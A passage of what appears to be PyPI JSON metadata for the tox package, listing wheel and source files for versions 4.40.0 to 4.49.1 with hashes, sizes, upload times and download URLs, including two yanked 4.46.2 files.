05:51:44.852301Z","url":"https://files.pythonhosted.org/packages/ab/b9/7a5d14e559acf16c9223514158617c1f954771814c96f942ea0641ac0809/tox-4.40.0-py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":null,"core-metadata":false,"digests":{"blake2b_256":"d1604afd649154eb5d6221e95f05d60830c6a1ec1cb884d65f8c260e8d4eed85","md5":"7c69ed9091bf7adf53f3ec1a09952e6c","sha256":"ba1503111fe3ffe8b3427bb491d99c0b2c865f36f94c7b91f73c485e81aa7bd2"},"downloads":-1,"filename":"tox-4.40.0.tar.gz","has_sig":false,"md5_digest":"7c69ed9091bf7adf53f3ec1a09952e6c","packagetype":"sdist","python_version":"source","requires_python":">=3.10","size":227048,"upload_time":"2026-02-19T05:51:46","upload_time_iso_8601":"2026-02-19T05:51:46.529758Z","url":"https://files.pythonhosted.org/packages/d1/60/4afd649154eb5d6221e95f05d60830c6a1ec1cb884d65f8c260e8d4eed85/tox-4.40.0.tar.gz","yanked":false,"yanked_reason":null}],"4.41.0":[{"comment_text":null,"core-metadata":{"sha256":"5e694679e61d30b700f542c76d3c3cf96a71cd6fab5a8790d224ac666cc4dc8a"},"digests":{"blake2b_256":"1f29a8b5dd927130882bb848dfbc12d43c81f3415bc516d9d04563ccea26ef23","md5":"bd48dc06428d847bc0b659df18c3f75a","sha256":"9579cc7b2c4c0d465e70f91f7897a6d58d6509cdadf20f75ade3510c0b7ce96a"},"downloads":-1,"filename":"tox-4.41.0-py3-none-any.whl","has_sig":false,"md5_digest":"bd48dc06428d847bc0b659df18c3f75a","packagetype":"bdist_wheel","python_version":"py3","requires_python":">=3.10","size":188883,"upload_time":"2026-02-19T16:20:22","upload_time_iso_8601":"2026-02-19T16:20:22.323100Z","url":"https://files.pythonhosted.org/packages/1f/29/a8b5dd927130882bb848dfbc12d43c81f3415bc516d9d04563ccea26ef23/tox-4.41.0-py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":null,"core-metadata":false,"digests":{"blake2b_256":"8e44a0eaf15e38b0a85dfaa6ef4f1fe902f4681c4c8050e0e24d76cdd225f2c8","md5":"48f14f525f8350072ec7c6e129cf957e","sha256":"58c82bd68d970abc0fd001ca413b10e7422cd83d13f25580f658afab61a85f86"},"downloads":-1,"filename":"tox-4.41.0.tar.gz","has_sig":false,"md5_digest":"48f14f525f8350072ec7c6e129cf957e","packagetype":"sdist","python_version":"source","requires_python":">=3.10","size":228941,"upload_time":"2026-02-19T16:20:24","upload_time_iso_8601":"2026-02-19T16:20:24.573824Z","url":"https://files.pythonhosted.org/packages/8e/44/a0eaf15e38b0a85dfaa6ef4f1fe902f4681c4c8050e0e24d76cdd225f2c8/tox-4.41.0.tar.gz","yanked":false,"yanked_reason":null}],"4.42.0":[{"comment_text":null,"core-metadata":{"sha256":"330f91adb3e9a2baf407cbcf8edb8c88663064f04c9fa7e6931c5ba409d13446"},"digests":{"blake2b_256":"f3842f6def05d59bab305208607acb5baa53a6f9781c6ef535f92064db825bc0","md5":"507c841200503a8ccc860275c21b61df","sha256":"841db009ab088748d91c49c850af4ebbe543712e9562f383b8c48f3172989163"},"downloads":-1,"filename":"tox-4.42.0-py3-none-any.whl","has_sig":false,"md5_digest":"507c841200503a8ccc860275c21b61df","packagetype":"bdist_wheel","python_version":"py3","requires_python":">=3.10","size":194360,"upload_time":"2026-02-20T07:40:20","upload_time_iso_8601":"2026-02-20T07:40:20.693552Z","url":"https://files.pythonhosted.org/packages/f3/84/2f6def05d59bab305208607acb5baa53a6f9781c6ef535f92064db825bc0/tox-4.42.0-py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":null,"core-metadata":false,"digests":{"blake2b_256":"e9a0c328df5d53f33e66789810748333408c2e9fca8eb4e95f0253041026ae2f","md5":"a0edcef8a7940d868c81b8b8bbc1808c","sha256":"5e018e281496fee16f860b5685adac8de14a42c9b2ad6c13df5632307ec9ea4f"},"downloads":-1,"filename":"tox-4.42.0.tar.gz","has_sig":false,"md5_digest":"a0edcef8a7940d868c81b8b8bbc1808c","packagetype":"sdist","python_version":"source","requires_python":">=3.10","size":238505,"upload_time":"2026-02-20T07:40:22","upload_time_iso_8601":"2026-02-20T07:40:22.604096Z","url":"https://files.pythonhosted.org/packages/e9/a0/c328df5d53f33e66789810748333408c2e9fca8eb4e95f0253041026ae2f/tox-4.42.0.tar.gz","yanked":false,"yanked_reason":null}],"4.43.0":[{"comment_text":null,"core-metadata":{"sha256":"ca4557dd8869cd527ffed753e6f5c42a399fa42faf337fa7cf0850f47bd12c8e"},"digests":{"blake2b_256":"30b5835d550c507ff0047807749a01259505db91dea6af2b295159791efcc618","md5":"31e8cf9a43a83a1c33cd7b9a45aa2db1","sha256":"d3fbded7dc5314cfb4e4d43b04ffbd46c8fbf323fe2d9190adcd4832894af208"},"downloads":-1,"filename":"tox-4.43.0-py3-none-any.whl","has_sig":false,"md5_digest":"31e8cf9a43a83a1c33cd7b9a45aa2db1","packagetype":"bdist_wheel","python_version":"py3","requires_python":">=3.10","size":195909,"upload_time":"2026-02-20T17:55:36","upload_time_iso_8601":"2026-02-20T17:55:36.415129Z","url":"https://files.pythonhosted.org/packages/30/b5/835d550c507ff0047807749a01259505db91dea6af2b295159791efcc618/tox-4.43.0-py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":null,"core-metadata":false,"digests":{"blake2b_256":"b9c976337a764b97df6733ceaad8c9a103c0259b49883575ed039dec71b59608","md5":"d08f15c83b4c5fcfe9f4b6888c901c6d","sha256":"fbb35f32ef628c57eda168b448829050f987f4d6f153fa2b87c4238e19ab4bd7"},"downloads":-1,"filename":"tox-4.43.0.tar.gz","has_sig":false,"md5_digest":"d08f15c83b4c5fcfe9f4b6888c901c6d","packagetype":"sdist","python_version":"source","requires_python":">=3.10","size":240878,"upload_time":"2026-02-20T17:55:37","upload_time_iso_8601":"2026-02-20T17:55:37.840363Z","url":"https://files.pythonhosted.org/packages/b9/c9/76337a764b97df6733ceaad8c9a103c0259b49883575ed039dec71b59608/tox-4.43.0.tar.gz","yanked":false,"yanked_reason":null}],"4.44.0":[{"comment_text":null,"core-metadata":{"sha256":"17555aab64b72676eaab117c5ad5c05a06e24ce3c8c18aca8b72cbe65693b4da"},"digests":{"blake2b_256":"78cc6f3b1775effb0511df6136fd66b59000b1a7977e7d908725d8336649d0fa","md5":"666e98a35d17c2dcb72bfde7fcc645ce","sha256":"b850fb8d1803d132c3120a189b2ae7fe319a07a9cb4254d81ac9c94e3230bc0f"},"downloads":-1,"filename":"tox-4.44.0-py3-none-any.whl","has_sig":false,"md5_digest":"666e98a35d17c2dcb72bfde7fcc645ce","packagetype":"bdist_wheel","python_version":"py3","requires_python":">=3.10","size":197333,"upload_time":"2026-02-20T21:29:14","upload_time_iso_8601":"2026-02-20T21:29:14.007657Z","url":"https://files.pythonhosted.org/packages/78/cc/6f3b1775effb0511df6136fd66b59000b1a7977e7d908725d8336649d0fa/tox-4.44.0-py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":null,"core-metadata":false,"digests":{"blake2b_256":"0b73dadb7954bdb3f67662322faaef9fe5ede418527d8cff0c57fa368c558f37","md5":"fe839eed5d370100c8846df47538fd16","sha256":"0c911cbc448a2ac5dd7cbb6be2f9ffa26d0a10405982f9efea654803b23cec77"},"downloads":-1,"filename":"tox-4.44.0.tar.gz","has_sig":false,"md5_digest":"fe839eed5d370100c8846df47538fd16","packagetype":"sdist","python_version":"source","requires_python":">=3.10","size":243605,"upload_time":"2026-02-20T21:29:15","upload_time_iso_8601":"2026-02-20T21:29:15.879484Z","url":"https://files.pythonhosted.org/packages/0b/73/dadb7954bdb3f67662322faaef9fe5ede418527d8cff0c57fa368c558f37/tox-4.44.0.tar.gz","yanked":false,"yanked_reason":null}],"4.45.0":[{"comment_text":null,"core-metadata":{"sha256":"a34eb2eb3a92a40783748e39389aca40ca7ff75f2f387aa5802ae1324f5fc24a"},"digests":{"blake2b_256":"78b3c38c4b790e1447ccb2457cf626e7cf429ec989fb741fcaaa10c98bc07f4d","md5":"965b53b03d312535afcd9cde820c6e5a","sha256":"a9910fab652c9b378659a4d13a2cbdaebd3737c60bd1a96b7b573a89824f4e7c"},"downloads":-1,"filename":"tox-4.45.0-py3-none-any.whl","has_sig":false,"md5_digest":"965b53b03d312535afcd9cde820c6e5a","packagetype":"bdist_wheel","python_version":"py3","requires_python":">=3.10","size":199116,"upload_time":"2026-02-23T19:47:44","upload_time_iso_8601":"2026-02-23T19:47:44.248666Z","url":"https://files.pythonhosted.org/packages/78/b3/c38c4b790e1447ccb2457cf626e7cf429ec989fb741fcaaa10c98bc07f4d/tox-4.45.0-py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":null,"core-metadata":false,"digests":{"blake2b_256":"9cea9af964c08db7f08d31b296201191157979443b4dbfbbada41d2539d8bba3","md5":"6d7a2ad00bb70c66d7e19dc16bf0acdb","sha256":"c0ce50ce0f7ace524cca9cf85d4a9fbd8e338aaa830e33521d3355f3f2f97c05"},"downloads":-1,"filename":"tox-4.45.0.tar.gz","has_sig":false,"md5_digest":"6d7a2ad00bb70c66d7e19dc16bf0acdb","packagetype":"sdist","python_version":"source","requires_python":">=3.10","size":246134,"upload_time":"2026-02-23T19:47:45","upload_time_iso_8601":"2026-02-23T19:47:45.827302Z","url":"https://files.pythonhosted.org/packages/9c/ea/9af964c08db7f08d31b296201191157979443b4dbfbbada41d2539d8bba3/tox-4.45.0.tar.gz","yanked":false,"yanked_reason":null}],"4.46.0":[{"comment_text":null,"core-metadata":{"sha256":"287103d2e37e8ca8ebfb39ef4c3e2c4c2e74115d9344d1a551579a3de2658fac"},"digests":{"blake2b_256":"e215e344f22ae5adce77769cb93f03635674df40de2604e98a71a3193f632766","md5":"8123ba2f4c47b7bb93db428016bec38d","sha256":"828f0a119a22028dbff7495d288e3601406478ab20c97891f66be5516d72e4c3"},"downloads":-1,"filename":"tox-4.46.0-py3-none-any.whl","has_sig":false,"md5_digest":"8123ba2f4c47b7bb93db428016bec38d","packagetype":"bdist_wheel","python_version":"py3","requires_python":">=3.10","size":200281,"upload_time":"2026-02-24T17:53:34","upload_time_iso_8601":"2026-02-24T17:53:34.228873Z","url":"https://files.pythonhosted.org/packages/e2/15/e344f22ae5adce77769cb93f03635674df40de2604e98a71a3193f632766/tox-4.46.0-py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":null,"core-metadata":false,"digests":{"blake2b_256":"bbba140537bbf7dd267b37a1519ac1451b6c062d300cb64b7b273dfa1b2af9aa","md5":"394e915d29686b0c1798bdadb467d71d","sha256":"b9d1aa187101dae184b7e6552f3b1ff85461e9e32f078851426e35a3c2009bc1"},"downloads":-1,"filename":"tox-4.46.0.tar.gz","has_sig":false,"md5_digest":"394e915d29686b0c1798bdadb467d71d","packagetype":"sdist","python_version":"source","requires_python":">=3.10","size":249296,"upload_time":"2026-02-24T17:53:36","upload_time_iso_8601":"2026-02-24T17:53:36.171117Z","url":"https://files.pythonhosted.org/packages/bb/ba/140537bbf7dd267b37a1519ac1451b6c062d300cb64b7b273dfa1b2af9aa/tox-4.46.0.tar.gz","yanked":false,"yanked_reason":null}],"4.46.1":[{"comment_text":null,"core-metadata":{"sha256":"11b254f9c609aa1470cab0767711ae800ae8183cf80b6d3cf974c716f5586808"},"digests":{"blake2b_256":"6cbeb43a6884669e4cae5b6fbcf40bafc47f5974133e959c82b4f26dda2fb781","md5":"9056013e2e246de4fc7a84862fe9ac15","sha256":"40757425e9b91a3ce5b27d77bace4d3545899480199593a18842fe50cba8f498"},"downloads":-1,"filename":"tox-4.46.1-py3-none-any.whl","has_sig":false,"md5_digest":"9056013e2e246de4fc7a84862fe9ac15","packagetype":"bdist_wheel","python_version":"py3","requires_python":">=3.10","size":201424,"upload_time":"2026-02-25T14:12:14","upload_time_iso_8601":"2026-02-25T14:12:14.105595Z","url":"https://files.pythonhosted.org/packages/6c/be/b43a6884669e4cae5b6fbcf40bafc47f5974133e959c82b4f26dda2fb781/tox-4.46.1-py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":null,"core-metadata":false,"digests":{"blake2b_256":"106e89571d6b74629ced83430f6b8fdf827fa283cae01e54eaf61866a694ef2d","md5":"dc3304690cc7d0996935c85240a1a754","sha256":"fd481880e8e78dab7d941c7dfccc85f93f3d2f968000487e45d85b7baae64816"},"downloads":-1,"filename":"tox-4.46.1.tar.gz","has_sig":false,"md5_digest":"dc3304690cc7d0996935c85240a1a754","packagetype":"sdist","python_version":"source","requires_python":">=3.10","size":250926,"upload_time":"2026-02-25T14:12:15","upload_time_iso_8601":"2026-02-25T14:12:15.754275Z","url":"https://files.pythonhosted.org/packages/10/6e/89571d6b74629ced83430f6b8fdf827fa283cae01e54eaf61866a694ef2d/tox-4.46.1.tar.gz","yanked":false,"yanked_reason":null}],"4.46.2":[{"comment_text":null,"core-metadata":{"sha256":"71d9d0ffd106cbd4dd6d3f7850ee69055fedde2e12c285c8080e25970f2c9d9a"},"digests":{"blake2b_256":"0e2de8625902af47cfcbbde82e85a1ecd32be552919e57dd2e3bcfed3156e498","md5":"11eb04022db1096d8228b260b84395b0","sha256":"31ab4b7016a71479acc8b685ea098a894aca392127f5081ea5757b51704e6a7b"},"downloads":-1,"filename":"tox-4.46.2-py3-none-any.whl","has_sig":false,"md5_digest":"11eb04022db1096d8228b260b84395b0","packagetype":"bdist_wheel","python_version":"py3","requires_python":">=3.10","size":201424,"upload_time":"2026-02-25T14:32:01","upload_time_iso_8601":"2026-02-25T14:32:01.286035Z","url":"https://files.pythonhosted.org/packages/0e/2d/e8625902af47cfcbbde82e85a1ecd32be552919e57dd2e3bcfed3156e498/tox-4.46.2-py3-none-any.whl","yanked":true,"yanked_reason":"incompatible virtualenv"},{"comment_text":null,"core-metadata":false,"digests":{"blake2b_256":"95dab112dec291a1a93fa0d854443bcdf8f066b9ec46e100f870f48beea65055","md5":"42ed972d3d46941e8232b09141fec774","sha256":"6b665bb1771c77bd78c2e0173eefe6c706548ef128bc446c22d75077bbc66d26"},"downloads":-1,"filename":"tox-4.46.2.tar.gz","has_sig":false,"md5_digest":"42ed972d3d46941e8232b09141fec774","packagetype":"sdist","python_version":"source","requires_python":">=3.10","size":250930,"upload_time":"2026-02-25T14:32:03","upload_time_iso_8601":"2026-02-25T14:32:03.488923Z","url":"https://files.pythonhosted.org/packages/95/da/b112dec291a1a93fa0d854443bcdf8f066b9ec46e100f870f48beea65055/tox-4.46.2.tar.gz","yanked":true,"yanked_reason":"incompatible virtualenv"}],"4.46.3":[{"comment_text":null,"core-metadata":{"sha256":"c75db05b494d03cee5a1f1b3ea6a6f401b4dc6a87105fa068e558d9887b82933"},"digests":{"blake2b_256":"03c2d0e0d9700f9e2a6f20361c59c9fc044c1efebcdc5f13cbf353dd7d112410","md5":"81c16812d1b9230ac592c2e11500604d","sha256":"e9e1a91bce2836dba8169c005254913bd22aac490131c75a5ffc4fd091dffe0b"},"downloads":-1,"filename":"tox-4.46.3-py3-none-any.whl","has_sig":false,"md5_digest":"81c16812d1b9230ac592c2e11500604d","packagetype":"bdist_wheel","python_version":"py3","requires_python":">=3.10","size":201424,"upload_time":"2026-02-25T15:48:31","upload_time_iso_8601":"2026-02-25T15:48:31.684830Z","url":"https://files.pythonhosted.org/packages/03/c2/d0e0d9700f9e2a6f20361c59c9fc044c1efebcdc5f13cbf353dd7d112410/tox-4.46.3-py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":null,"core-metadata":false,"digests":{"blake2b_256":"450310faee6ee03437867cd76198afd22dc5af3fca61d9b9b5a8d8cff1952db2","md5":"34b07c54d2392775e5076593bfe916ac","sha256":"2e87609b7832c818cad093304ea23d7eb124f8ecbab0625463b73ce5e850e1c2"},"downloads":-1,"filename":"tox-4.46.3.tar.gz","has_sig":false,"md5_digest":"34b07c54d2392775e5076593bfe916ac","packagetype":"sdist","python_version":"source","requires_python":">=3.10","size":250933,"upload_time":"2026-02-25T15:48:33","upload_time_iso_8601":"2026-02-25T15:48:33.542392Z","url":"https://files.pythonhosted.org/packages/45/03/10faee6ee03437867cd76198afd22dc5af3fca61d9b9b5a8d8cff1952db2/tox-4.46.3.tar.gz","yanked":false,"yanked_reason":null}],"4.47.0":[{"comment_text":null,"core-metadata":{"sha256":"ac39b86faf0037c8c56aee3b119982ff6ab99256e17c7048f9a9b3cbdd0e15fc"},"digests":{"blake2b_256":"a395727c8cde3ef125706825242833c41d0293307983cb9de7d1ad6dda503bfa","md5":"6d27b09ce112e7c0d0f4a13a24065d5b","sha256":"79260c47814086313eea516c6cd4ce374f93c19be2de6125e7d330356a000364"},"downloads":-1,"filename":"tox-4.47.0-py3-none-any.whl","has_sig":false,"md5_digest":"6d27b09ce112e7c0d0f4a13a24065d5b","packagetype":"bdist_wheel","python_version":"py3","requires_python":">=3.10","size":202065,"upload_time":"2026-03-01T15:00:03","upload_time_iso_8601":"2026-03-01T15:00:03.808876Z","url":"https://files.pythonhosted.org/packages/a3/95/727c8cde3ef125706825242833c41d0293307983cb9de7d1ad6dda503bfa/tox-4.47.0-py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":null,"core-metadata":false,"digests":{"blake2b_256":"304a6ea2602afe685f842ff9b5e07196e693f1aba885164d171af4807075cb30","md5":"af8b3acf219305417ac66c25661e2101","sha256":"db08368214f6f44b3e9b6c6e937140e25a4b0cea63f8489bf1c9b6b34d3e42e3"},"downloads":-1,"filename":"tox-4.47.0.tar.gz","has_sig":false,"md5_digest":"af8b3acf219305417ac66c25661e2101","packagetype":"sdist","python_version":"source","requires_python":">=3.10","size":253965,"upload_time":"2026-03-01T15:00:05","upload_time_iso_8601":"2026-03-01T15:00:05.563366Z","url":"https://files.pythonhosted.org/packages/30/4a/6ea2602afe685f842ff9b5e07196e693f1aba885164d171af4807075cb30/tox-4.47.0.tar.gz","yanked":false,"yanked_reason":null}],"4.47.1":[{"comment_text":null,"core-metadata":{"sha256":"dddfd3390033b2f3e8b390a492855a9cc5bdc4d2153a6d15704e179a89c6c703"},"digests":{"blake2b_256":"cec8a422d692d91d75feb7796b42042b9320d9434ec3ac468a7f8388058d0906","md5":"e9da39c599604985bdd9801aa731d9e6","sha256":"b2de8fc90157f357754082784c2457c542d797d93b3e8889682d7406db98afc4"},"downloads":-1,"filename":"tox-4.47.1-py3-none-any.whl","has_sig":false,"md5_digest":"e9da39c599604985bdd9801aa731d9e6","packagetype":"bdist_wheel","python_version":"py3","requires_python":">=3.10","size":202060,"upload_time":"2026-03-03T15:50:42","upload_time_iso_8601":"2026-03-03T15:50:42.068240Z","url":"https://files.pythonhosted.org/packages/ce/c8/a422d692d91d75feb7796b42042b9320d9434ec3ac468a7f8388058d0906/tox-4.47.1-py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":null,"core-metadata":false,"digests":{"blake2b_256":"a70ea6561fd78b4a8501fafbd0488adb700ce36ff9b1ede8168c3300d2802669","md5":"639effa4b46dc346a5ae58066855f36e","sha256":"80b3d9157cff65b6b514b01840d33cf72de0fc9117cf18ef86531407d11d24d8"},"downloads":-1,"filename":"tox-4.47.1.tar.gz","has_sig":false,"md5_digest":"639effa4b46dc346a5ae58066855f36e","packagetype":"sdist","python_version":"source","requires_python":">=3.10","size":254103,"upload_time":"2026-03-03T15:50:43","upload_time_iso_8601":"2026-03-03T15:50:43.477925Z","url":"https://files.pythonhosted.org/packages/a7/0e/a6561fd78b4a8501fafbd0488adb700ce36ff9b1ede8168c3300d2802669/tox-4.47.1.tar.gz","yanked":false,"yanked_reason":null}],"4.47.2":[{"comment_text":null,"core-metadata":{"sha256":"be7f2e9653a4ea7dce08fc57de2967ab3b909943d28c67b71ee71084eebedf55"},"digests":{"blake2b_256":"59e7dba4ccd9885875a0643b85704aebceca793e1c20bf1bdee8f2f229db5162","md5":"5aa69847579288592db67adf6a43b194","sha256":"6845717a01c30a46ce91c69d493a96f554d235dc9e0c0732c1395794f72c6d29"},"downloads":-1,"filename":"tox-4.47.2-py3-none-any.whl","has_sig":false,"md5_digest":"5aa69847579288592db67adf6a43b194","packagetype":"bdist_wheel","python_version":"py3","requires_python":">=3.10","size":202124,"upload_time":"2026-03-03T16:49:01","upload_time_iso_8601":"2026-03-03T16:49:01.044482Z","url":"https://files.pythonhosted.org/packages/59/e7/dba4ccd9885875a0643b85704aebceca793e1c20bf1bdee8f2f229db5162/tox-4.47.2-py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":null,"core-metadata":false,"digests":{"blake2b_256":"484a205c929d77d280eb3f557bbb24a84a84698501c3097eb07c6e282e11fa9f","md5":"776fcc2e171cb3e185af0e718fa214d0","sha256":"eaf01d7f1887a9399298e9d13ccca6cd0bbcf6d44bd6029136df284894288a6c"},"downloads":-1,"filename":"tox-4.47.2.tar.gz","has_sig":false,"md5_digest":"776fcc2e171cb3e185af0e718fa214d0","packagetype":"sdist","python_version":"source","requires_python":">=3.10","size":254303,"upload_time":"2026-03-03T16:49:06","upload_time_iso_8601":"2026-03-03T16:49:06.629966Z","url":"https://files.pythonhosted.org/packages/48/4a/205c929d77d280eb3f557bbb24a84a84698501c3097eb07c6e282e11fa9f/tox-4.47.2.tar.gz","yanked":false,"yanked_reason":null}],"4.47.3":[{"comment_text":null,"core-metadata":{"sha256":"d2061e891d1fa370f8706a4afa4ab6b9ec340c33280ebafb2affdf7c6cdf38b9"},"digests":{"blake2b_256":"013b66b7b2cc1478b066e55eba27e2903db2f20bf363c14ac0e33c08df3364f8","md5":"59dabb793b43d087b62e15bf13580b4d","sha256":"e447862a6821b421bbbfb8cbac071818c0a6884907a4c964d8322516d0b19b34"},"downloads":-1,"filename":"tox-4.47.3-py3-none-any.whl","has_sig":false,"md5_digest":"59dabb793b43d087b62e15bf13580b4d","packagetype":"bdist_wheel","python_version":"py3","requires_python":">=3.10","size":202177,"upload_time":"2026-03-04T02:39:00","upload_time_iso_8601":"2026-03-04T02:39:00.482460Z","url":"https://files.pythonhosted.org/packages/01/3b/66b7b2cc1478b066e55eba27e2903db2f20bf363c14ac0e33c08df3364f8/tox-4.47.3-py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":null,"core-metadata":false,"digests":{"blake2b_256":"8762182ae37b7472072086184e2246e01c6fb8399b87d76e0c79636774ee7117","md5":"45e8d5ed55be6e43328cc1df87c7ef20","sha256":"57643508d4c218ad312457a3b0ce3135c50fa1f9f1e4d40867683d880cad1c37"},"downloads":-1,"filename":"tox-4.47.3.tar.gz","has_sig":false,"md5_digest":"45e8d5ed55be6e43328cc1df87c7ef20","packagetype":"sdist","python_version":"source","requires_python":">=3.10","size":254468,"upload_time":"2026-03-04T02:39:01","upload_time_iso_8601":"2026-03-04T02:39:01.842381Z","url":"https://files.pythonhosted.org/packages/87/62/182ae37b7472072086184e2246e01c6fb8399b87d76e0c79636774ee7117/tox-4.47.3.tar.gz","yanked":false,"yanked_reason":null}],"4.48.0":[{"comment_text":null,"core-metadata":{"sha256":"d08ce88f577b342a727b23095c7a7d324071f6a7cf004fcc195fe9eb3ab48b1c"},"digests":{"blake2b_256":"b806c76f3e10426f3e86be705fb4305bef07629031705fdc1083d97cfaeaf6ee","md5":"d17e10886411c0b74d4009de1daa77ca","sha256":"db8b46e4099a37409931e8b4dc5d408cffb8621f0576accf553db973318383b1"},"downloads":-1,"filename":"tox-4.48.0-py3-none-any.whl","has_sig":false,"md5_digest":"d17e10886411c0b74d4009de1daa77ca","packagetype":"bdist_wheel","python_version":"py3","requires_python":">=3.10","size":205793,"upload_time":"2026-03-05T23:26:39","upload_time_iso_8601":"2026-03-05T23:26:39.750817Z","url":"https://files.pythonhosted.org/packages/b8/06/c76f3e10426f3e86be705fb4305bef07629031705fdc1083d97cfaeaf6ee/tox-4.48.0-py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":null,"core-metadata":false,"digests":{"blake2b_256":"000c0b5c618618a9322663f275138ddc753bc87a6a1fcf535b65efc0a988c616","md5":"713b4047d209571a522ef2163ea333cb","sha256":"73f4e5e3b87ea0a8c79bbc42287f14f728023a3c1e209ed151fcfdff349ea1cc"},"downloads":-1,"filename":"tox-4.48.0.tar.gz","has_sig":false,"md5_digest":"713b4047d209571a522ef2163ea333cb","packagetype":"sdist","python_version":"source","requires_python":">=3.10","size":257913,"upload_time":"2026-03-05T23:26:41","upload_time_iso_8601":"2026-03-05T23:26:41.060767Z","url":"https://files.pythonhosted.org/packages/00/0c/0b5c618618a9322663f275138ddc753bc87a6a1fcf535b65efc0a988c616/tox-4.48.0.tar.gz","yanked":false,"yanked_reason":null}],"4.48.1":[{"comment_text":null,"core-metadata":{"sha256":"db08403c9bbab717ed6bab875512f5648245b3a4e944aa95191bf11a679e4609"},"digests":{"blake2b_256":"179a2b232298ad17aa07f93e3a7429070f9b9e911d9c3980dc27423931797ab3","md5":"73cfa6d7a60934e8eb7fa482497bf024","sha256":"4e0369041be0d52b0dc83051f6449e4afae1764b4203a5866982fa300c8c325f"},"downloads":-1,"filename":"tox-4.48.1-py3-none-any.whl","has_sig":false,"md5_digest":"73cfa6d7a60934e8eb7fa482497bf024","packagetype":"bdist_wheel","python_version":"py3","requires_python":">=3.10","size":205815,"upload_time":"2026-03-06T01:41:15","upload_time_iso_8601":"2026-03-06T01:41:15.668402Z","url":"https://files.pythonhosted.org/packages/17/9a/2b232298ad17aa07f93e3a7429070f9b9e911d9c3980dc27423931797ab3/tox-4.48.1-py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":null,"core-metadata":false,"digests":{"blake2b_256":"ac93244bdd2666db5b79e02321fd24e73ccc4bf9424cf5179142937937492ba2","md5":"d27b427733c2818d15ef6a4105d35c65","sha256":"971260ac2ea3409de8f3771612d141713d2d33446cc0d981849ebfd9b6bbd3d9"},"downloads":-1,"filename":"tox-4.48.1.tar.gz","has_sig":false,"md5_digest":"d27b427733c2818d15ef6a4105d35c65","packagetype":"sdist","python_version":"source","requires_python":">=3.10","size":257985,"upload_time":"2026-03-06T01:41:17","upload_time_iso_8601":"2026-03-06T01:41:17.380712Z","url":"https://files.pythonhosted.org/packages/ac/93/244bdd2666db5b79e02321fd24e73ccc4bf9424cf5179142937937492ba2/tox-4.48.1.tar.gz","yanked":false,"yanked_reason":null}],"4.49.0":[{"comment_text":null,"core-metadata":{"sha256":"0ef766bba97c57ae144e6b4b37cd3cfcd356ef94a9ce646a7d72cc589e78137f"},"digests":{"blake2b_256":"97dbc13e849355a7833b319785bafbc947104f9161b964884b159ca94984965a","md5":"9978576fcb3d16f8db6c9f717cb28e86","sha256":"97cf3cea10c12442569a31bfa411600fbbfc8cb972ad4e48039599935c94a584"},"downloads":-1,"filename":"tox-4.49.0-py3-none-any.whl","has_sig":false,"md5_digest":"9978576fcb3d16f8db6c9f717cb28e86","packagetype":"bdist_wheel","python_version":"py3","requires_python":">=3.10","size":206768,"upload_time":"2026-03-06T19:57:09","upload_time_iso_8601":"2026-03-06T19:57:09.369383Z","url":"https://files.pythonhosted.org/packages/97/db/c13e849355a7833b319785bafbc947104f9161b964884b159ca94984965a/tox-4.49.0-py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":null,"core-metadata":false,"digests":{"blake2b_256":"c55a56146cae67d337426a98cf95f1a9f3ae8b557879df9a03332ef7d6654496","md5":"4d4f2f7abfa1ba793c66a9254c09c512","sha256":"2e01f09ae1226749466cbcd8c514fe988ffc8c76b5d523c7f9b745d1711a6e71"},"downloads":-1,"filename":"tox-4.49.0.tar.gz","has_sig":false,"md5_digest":"4d4f2f7abfa1ba793c66a9254c09c512","packagetype":"sdist","python_version":"source","requires_python":">=3.10","size":259917,"upload_time":"2026-03-06T19:57:10","upload_time_iso_8601":"2026-03-06T19:57:10.723906Z","url":"https://files.pythonhosted.org/packages/c5/5a/56146cae67d337426a98cf95f1a9f3ae8b557879df9a03332ef7d6654496/tox-4.49.0.tar.gz","yanked":false,"yanked_reason":null}],"4.49.1":[{"comment_text":null,"core-metadata":{"sha256":"196e897e6d120e485a20f526b3e5b8241774361bc2d23bcb0695401cb2016d4c"},"digests":{"blake2b_256":"a4ac44201a13332b2f477ba43ca1e835844d8c3abb678e664333a82bc25bbdea","md5":"da41b7259c69474cd7a5ac90cbb29354","sha256":"6dd2d7d4e4fd5895ce4ea20e258fce0d4b81e914b697d116a5ab0365f8303bad"},"downloads":-1,"filename":"tox-4.49.1-py3-none-any.whl","has_sig":false,"md5_digest":"da41b7259c69474cd7a5ac90cbb29354","packagetype":"bdist_wheel","python_version":"py3","requires_python":">=3.10","size":206912,"upload_time":"2026-03-09T22:44:09","upload_time_iso_8601":"2026-03-09T22:44:09.188048Z","url":"https://files.pythonhosted.org/packages/a4/ac/44201a13332b2f477ba43ca1e835844d8c3abb678e664333a82bc25bbdea/tox-4.49.1-py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":null,"core-metadata":false,"digests":{"blake2b_256":"2ae86f7dac9ab53a03b79d5dda2dd462147341069f70b138e1c7ac04219e72ea","md5":"b04dbc39bc8c5838e0ecb7ea417230b2","sha256":"4130d02e1d53648d7107d121ed79f69a27b717817c5e9da521d50319dd261212"},"downloads":-1,"filename":"tox-4.49.1.tar.gz","has_sig":false,"md5_digest":"b04dbc39bc8c5838e0ecb7ea417230b2","packagetype":"sdist","python_version":"source","requires_python":">=3.10","size":260048,"upload_time":"2026-03-09T22:44:10","upload_time_iso_8601":"2026-03-09T22:44:10.504823Z","url":"https://files.pythonhosted.org/packages/2a/e8/6f7dac9ab53a03b79d5dda2dd462147341069f70b138e1c7ac04219e72ea/tox-4.49.1.tar.gz","yanked":false,"yanked_reason":null}],"4.5.0":[{"comment_text":"","core-metadata":{"sha